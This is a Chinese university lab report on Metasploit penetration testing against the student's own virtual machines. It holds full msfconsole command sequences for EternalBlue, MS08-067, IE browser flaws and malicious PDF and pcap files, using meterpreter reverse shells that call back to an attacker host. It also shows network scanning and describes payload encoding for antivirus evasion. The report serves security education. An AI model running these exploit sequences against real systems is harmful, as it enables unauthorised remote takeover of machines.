一、实验目标

掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。

二、实验内容概述

一个主动攻击实践,如ms08_067、ms017-010
一个针对浏览器的攻击,如ms11_050
一个针对客户端的攻击,如Adobe
成功应用任何一个辅助模块

三、基础知识

1、MSF体系架构

Metasploit是一款开源的渗透测试框架平台,它已经内置了数千个已披露的漏洞相关的模块和渗透测试工具。使用者选定需要使用的攻击模块之后,只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用。

其体系架构如下图所示:

2、MSF模块

模块按照不同用途可分为6种类型

  • Exploits(渗透攻击模块):主要利用发现的安全漏洞或配置弱点对目标主机进行攻击,以植入和运行攻击载荷,从而获得目标系统的访问控制权。

    • 主动渗透攻击:利用的安全漏洞位于网络服务端软件承载的上层应用程序之中。
    • 被动渗透攻击:利用的漏洞位于客户端软件(如浏览器,浏览器插件,电子邮件客户端,Office与Adobe等各种文档与编辑软件)。
  • Auxiliary(辅助模块):包括对各种网络服务的扫描与检测,构建虚假服务登陆密码,口令猜测等模块。还包含一些无须加载的攻击载荷,这些模块不用来取得目标系统远程控制权,如拒绝服务。

  • Post(后渗透攻击模块):用于取得目标系统远程控制权之后的环节,实现在受控制的系统中进行各种各样的后渗透攻击动作,如敏感信息,进一步拓展,实施跳板攻击。

  • Payloads(攻击载荷模块):在渗透攻击成功后促进目标系统运行的一段植入代码,主要用来建立目标与攻击机稳定连接的,可返回shell,也可以进行程序注入等。

    • Single:是一种完全独立的Payload,使用简单,就像运行 calc.exe一样简单,由于Single是完全独立的,因此他们有可能会被类似netcat这样的metasploit处理工具所捕获。
    • Stager:这种payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。
    • reverse_tcp:它可以让目标系统与攻击者建立一条TCP连接,让目标系统主动连接渗透测试者的端口(反向连接)
    • bind_TCP:它可以让目标系统开启一个TCP监听器,而攻击者随时可以与目标系统进行通信(正向连接)
    • Stage:是stager payload下的一种payload组件,这种payload可以提供更加高级的功能,而且没有大小限制。
  • Nops(空指令模块):空指令是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令。

    • 最典型的空指令就是空操作,在X86CPU体系结构平台上的操作码是0x90
  • Encoders(编码模块):攻击载荷与空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入恶意数据缓冲区交由目标系统运行之前,metaspliot还需要编码。其主要作用如下:

    • 确保攻击载荷中不会出现“坏字符”
    • 对攻击载荷进行“免杀”处理,即躲避反病毒软件,IDS入侵检测系统和IPS入侵防御系统的检测与拦截。

3、MSF接口

  • MSF接口包括msfconsole控制终端,msfcli命令行,msfgui图形化界面,armitage图形化界面以及msfapi远程调用接口。

  • MSF终端(msfconsole)是目前Metasploit框架最为流行的用户接口,而且MSF终端是Metasploit框架中最灵活、功能最丰富以及支持最好的工具之一。

  • MSF终端提供了一站式的接口,能访问Metasploit框架中几乎每一个选项和配置。可以使用MSF终端做任何事情,包括发起一次渗透攻击、装载辅助模块、实施查点、创建监听器,或是对整个网络进行自动化渗透攻击。

4、常用命令

  • search XXX:用指定关键字搜索可以利用的漏洞模块
  • use exploit XXX:使用漏洞模块
  • info:显示模块的相关信息
  • show payloads:查看该模块可以使用的攻击载荷
  • set payload xxx:设置选中的攻击载荷
  • show targets:查看可以攻击哪些操作系统
  • set TARGET target number:设置目标版本
  • show auxiliary:显示辅助模块
  • use auxiliary name:使用辅助模块
  • show options:显示配置选项
  • set option xxxxx:设置选项参数
  • set RHOSTS:设置目标主机的ip地址
  • set RPORT:设置目标主机的端口
  • set LHOSTS:设置本机的ip地址
  • set LPORT:设置本机的端口号
  • exploit/run:开始漏洞攻击
  • sessions -l:列出会话
  • sessions -i id:选择会话
  • sessions -k id:结束会话
  • Ctrl+z:把会话放到后台
  • Ctrl+c:结束会话

四、实验过程

(一)一个主动攻击实践

1.ms08_067_netapi

ms08_067漏洞是著名的远程溢出漏洞。攻击者发送恶意资料到受害机默认开放的SMB服务端口445,通过MSRPC接口调用server服务的一个函数,并破坏程序的栈缓存区,获得远程代码执行权限,从而完全控制主机。

靶机:Windows xp(192.168.163.153)

攻击机:kali虚拟机(192.168.163.190)

获取靶机ip地址

启动 msfconsole,然后输入search ms08_067查找该漏洞使用的攻击模块,攻击模块为exploit/windows/smb/ms08_067_netapi

  • 输入指令 use exploit/windows/smb/ms08_067_netapi进入攻击模块,使用show payloads,查看能够使用的payloads

使用指令 set payload generic/shell_reverse_tcp 设置payload为反向tcp连接
参数设置:

set RHOST 192.168.163.153 //设置靶机IP (winxp ip)
set LPORT 1217  //设置攻击机端口
set LHOST 192.168.163.190//设置攻击机IP (kali ip)
exploit

  • 回连成功之后输入ipconfig查看信息

  • 和winxp中的ip相同

  • 输入net user查看Winxp目前的用户名

2.ms17_010
  • ms17_010 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。

  • 靶机:Microsoft Windows 7 x64(192.168.163.150)

  • 攻击机:kali虚拟机(192.168.163.190)

  • 查看win7虚拟机的ip地址

  • 关闭win7虚拟机的防火墙

  • 首先,用nmap对win7虚拟机进行端口扫描,判断445端口是否开放。
    nmap -sS -p 1-1024 -v 192.168.31.215

    • 以TCP SYN的方式扫描win7虚拟机的TCP端口,-p是指定端口范围,-v是详细信息
  • 然后在kali虚拟机中开启MSF服务

use auxiliary/scanner/smb/smb_ms17_010   //对ms17-010这个模块进行漏洞的分析,看看这个445端口是否能被入侵
show options               //查看这个模块的参数选项,yes是必填的,no是选填的
set RHOSTS 192.168.163.150  //设置靶机IP地址
exploit                    //对靶机扫描,看是否存在漏洞 

  • 可以看到,此主机可能存在ms17-010漏洞。

  • 接下来,利用此漏洞攻击win7主机

search ms17-010    //搜索与此漏洞相关的模块
use exploit/windows/smb/ms17_010_eternalblue  //选择使用此漏洞模块
show payloads      //查看此模块可以使用的攻击载荷
set payload windows/x64/meterpreter/reverse_tcp    //设置攻击的载荷
set RHOSTS 192.168.31.215    //设置靶机ip
set LHOSTS 192.168.31.36     //设置攻击机(kali)ip
exploit            //开启攻击

  • 在此过程中,可以使用show targets查看此漏洞模块适用于哪些系统,发现这个模块适用于win7和server 2008 r2

  • 攻击成功,成功渗透进入win7主机,输入shell可以获取win7的命令行

(二)一个针对浏览器的攻击

1、ms14_064

Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码。

靶机:WindowsXP IE浏览器(192.168.163.153)

具体步骤如下:

search ms14_064                                            //查看与此漏洞相关的攻击模块
use exploit/windows/browser/ms14_064_ole_code_execution    //选择攻击模块
set payload windows/meterpreter/reverse_tcp                //设置攻击载荷
set SRVHOST 192.168.163.190                                  //设置攻击机IP(kali)
set AllowPowerShellPrompt 1                                //设置powershell
set LHOST 192.168.163.190                                    //设置监听地址
set LPORT 8080                                             //设置监听端口
show targets                                               //查看此漏洞适用的系统版本
set target 0                                               //设置winXP靶机
show options                                               //查看设置的参数信息
exploit

  • 将生成的URL拷贝至Windows xp虚拟机的IE浏览器中运行

  • 回到kali中,看到一些提示会话创建成功的信息,输入sessions -i 1即可获取刚刚我们所创建的那个会话连接

  • 输入ipconfig,获取到靶机的ip

2、攻击方式:ms10_018+bind_tcp

设置参数

use exploit/windows/browser/ms10_018_ie_behaviors
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.64.153
set target 0
exploit

  • 在靶机浏览器中输入生成的这个链接后,浏览器会直接关闭

  • 可以看到Kali里有很多回连的信息

  • kali成功回连了winxp虚拟机

(三)一个针对客户端的攻击

1.Adobe

靶机:Windows xp(192.168.163.153)

攻击机:kali(192.168.163.159)

首先,按照如下代码在kali中生成利用漏洞的pdf文件

msfconsole          //进入控制台
search adobe        //搜索与adobe有关的漏洞
use windows/fileformat/adobe_cooltype_sing  //选择使用此漏洞
set payload windows/meterpreter/bind_tcp    //选择攻击载荷
show options        //查看需要配置的参数选项
set LPORT 1217      //设置端口号
set RHOST 192.168.163.153   //设置靶机IP地址
set FILENAME wj.pdf       //设置生成的PDF文件名
exploit             //生成.pdf文件

  • 将生成的文件移动到桌面上

  • 再将此文件移动到winxp虚拟机里

按照下面的代码在kali中开启监听

use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看需要配置的参数选项
set LPORT 1217 //设置端口号
set RHOST 192.168.163.153 //设置靶机IP地址
exploit //开启监听

  • 在靶机中用Adobe Reader打开wjj.pdf这个文件

2.wireshark(步骤同上)

靶机:Windows xp(192.168.163.153)

攻击机:kali(192.168.163.190)

首先,按照如下代码在kali中生成利用漏洞的pcap文件

msfconsole          //进入控制台
search wireshark        //搜索与wireshark有关的漏洞
use exploit/windows/fileformat/wireshark_packet_dect   //选择使用此漏洞
set payload windows/meterpreter/reverse_tcp            //设置tcp反向连接
show options        //查看需要配置的参数选项
set LHOST 192.168.163.190    //kali的IP
set LPORT 1217              //设置端口号
set FILENAME wj.pcap       //设置生成的pcap文件名
exploit                     //生成.pcap文件
  • 将生成的pcap文件拷贝到winxp虚拟机中

  • 按照下面的代码在kali中开启监听
use exploit/multi/handler                  //进入监听模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
show options                //查看需要配置的参数选项
set LHOST 192.168.163.190    //kali的IP
set LPORT 1217              //设置监听的端口号
exploit                     //开启监听

(四)成功应用一个辅助模块(scanner)

  • 活跃主机的发现
    Metasploit 中提供了一些辅助模块可用于活跃主机的发现,这些模块位于Metasploit 源码路径的modules/auxiliary/scanner/discovery/ 目录中,主要有以下几个:arp_sweep、ipv6_multicast_ping、ipv6_neighbor、ipv6_neighbor_router_advetisement、 udp_probe、udp_sweep。其中两个常用模块的主要功能为:

  • arp_sweep:使用ARP请求枚举本地局域网络中的所有活跃主机。

  • udp_sweep:通过发送UDP数据包探查指定主机是否舌跃,并发现主机上的UDP服务。
    在TCP/IP网络环境中,一台主机在发送数据帧前需要使用ARP——地址解析协议将目标IP地址转换成MAC地址,这个转换过程是通过发送一个ARP请求来完成的。若主机A发送一个ARP请求获取主机B的MAC地址时,如果主机B存在,那么它会向A发出一个回应。因此,可以通过发送ARP请求的方式获取同一子网上的活跃主机情况,这种技术也称为ARP扫描。

  • Metasploit 的arp_sweep模块便是一个ARP扫描器。具体使用方法如下:

search arp_sweep                              //查找实现ARP扫描的具体模块
use auxiliary/scanner/discovery/arp_sweep     //选择使用此模块
show options                                  //查看需要设置的参数选项
set RHOSTS 192.168.0.0/24                     //设置需要扫描的网段,可以用CIDR地址块,也可以用-连接多个IP地址
set THREADS 50                                //设置线程,较大数值能提高扫描速度,较小数值能让扫描过程更加隐蔽
run   

由图可以看出,本子网内共只有1台主机处于活跃状态。ARP扫描器只能扫描同一子网内的活跃主机,对于远程网络,可以选择功能更为强大的nmap扫描器(可直接在msf中使用)。

1.udp_sweep模块的使用:

search udp_sweep                              //查找实现udp扫描的具体模块
use auxiliary/scanner/discovery/udp_sweep     //选择使用此模块
show options                                  //查看需要设置的参数选项
set RHOSTS 192.168.0.0/24                     //设置需要扫描的网段
run  

2.攻击方式:portscan(端口扫描)
靶机:Windows XP
具体步骤:
可以 search portscan 命令搜索相关的端口扫描脚本
在kali中输入如下的代码

search portscan //看看可以扫什么端口
use auxiliary/scanner/portscan/tcp // 选择tcp脚本
set Rhosts 192.168.163.153 //设置靶机IP
set threads 20
show options //看一下配置文件
run

五、实验后问题回答

1. 用自己的话解释什么是exploit,payload,encode?

exploit:渗透利用,相当于一个载体,把payload攻击代码运送到耙机中。

payload:攻击载荷,目标系统在被exploit渗透攻击之后去执行的那段代码,这才是真正起到攻击作用的代码,相当于shellcode。

encode:编码,对payload进行加工完善,确保其中不会出现“坏字符”,或对攻击载荷进行“免杀”处理,即躲避反病毒软件。

2.离实战还缺些什么技术或步骤?

1.缺乏实践的独立性与创新性:目前的实验都是参考学长学姐和课题负责人的博客做下来的,所以说使用的漏洞什么的都是和他们一样的,而且大部分指令都是直接copy他们的,并不清楚为什么要选用这些模块,有时候会疑惑其他的模块行不行,但是自己又不会去验证。

2.不会利用帮助文档:由于文档都是英文的,所以不知道从哪里开始去看,也不知道自己所需要查找的那一部分在那里。在msf中利用show或者search查到一些信息时,大部分都看不懂,所以也就不知道该怎么使用这些模块。

3.解决问题的效率太低:遇到问题后,而且有时候明明是与其他同学同样的错误,我用同样的方法却解决不了。

六、实验问题与解决

  • 在任务三中,kali开启监听,在xp主机中执行相应文件后一直得不到反应

    • 原因:靶机中的软件版本不对,无法利用我们的漏洞进行渗透,进而导致kali无法获得靶机的shell

    • 解决:下载正确版本的软件,后来看网上的解决方法,需要下载英文版本的winXP,我再次下载正确版本的虚拟机后,成功进行了渗透攻击。

七、实验感想

这次实验不是很难,我做的比较早,自己下载了winxp和win7 x64,在下载这些虚拟机时我非常小心,就怕哪一步安装错了,渗透攻击不成功。但是还是因为版本没下载对,一直做不成功任务三,在msf开启监听后就没有任何反应了,经过长期的摸索之后,我通过询问课题负责人、上网查找资料,我重新下载了英文版的winXP,最终成功了。

通过本次实验,让我真正的理解了MSF中一些指令的含义,以及要在什么时候使用什么指令。不得不说,MSF真的是一个很强大的工具,它包含的模块真的是相当全面了。我也发现了,每一个模块的使用都有自己的规范,比如说要设置什么参数,这个模块适用于什么系统(关系到靶机的选取)。漏洞设计的也真是奇妙,它让我们意识不到它的存在,进而攻击了我们的系统,所以,一定要及时打补丁,经常检查自己的计算机是否安全!!今后我还需要更加努力的学习Linux以及msf的相关知识,让自己的实战水平真正的得到提高。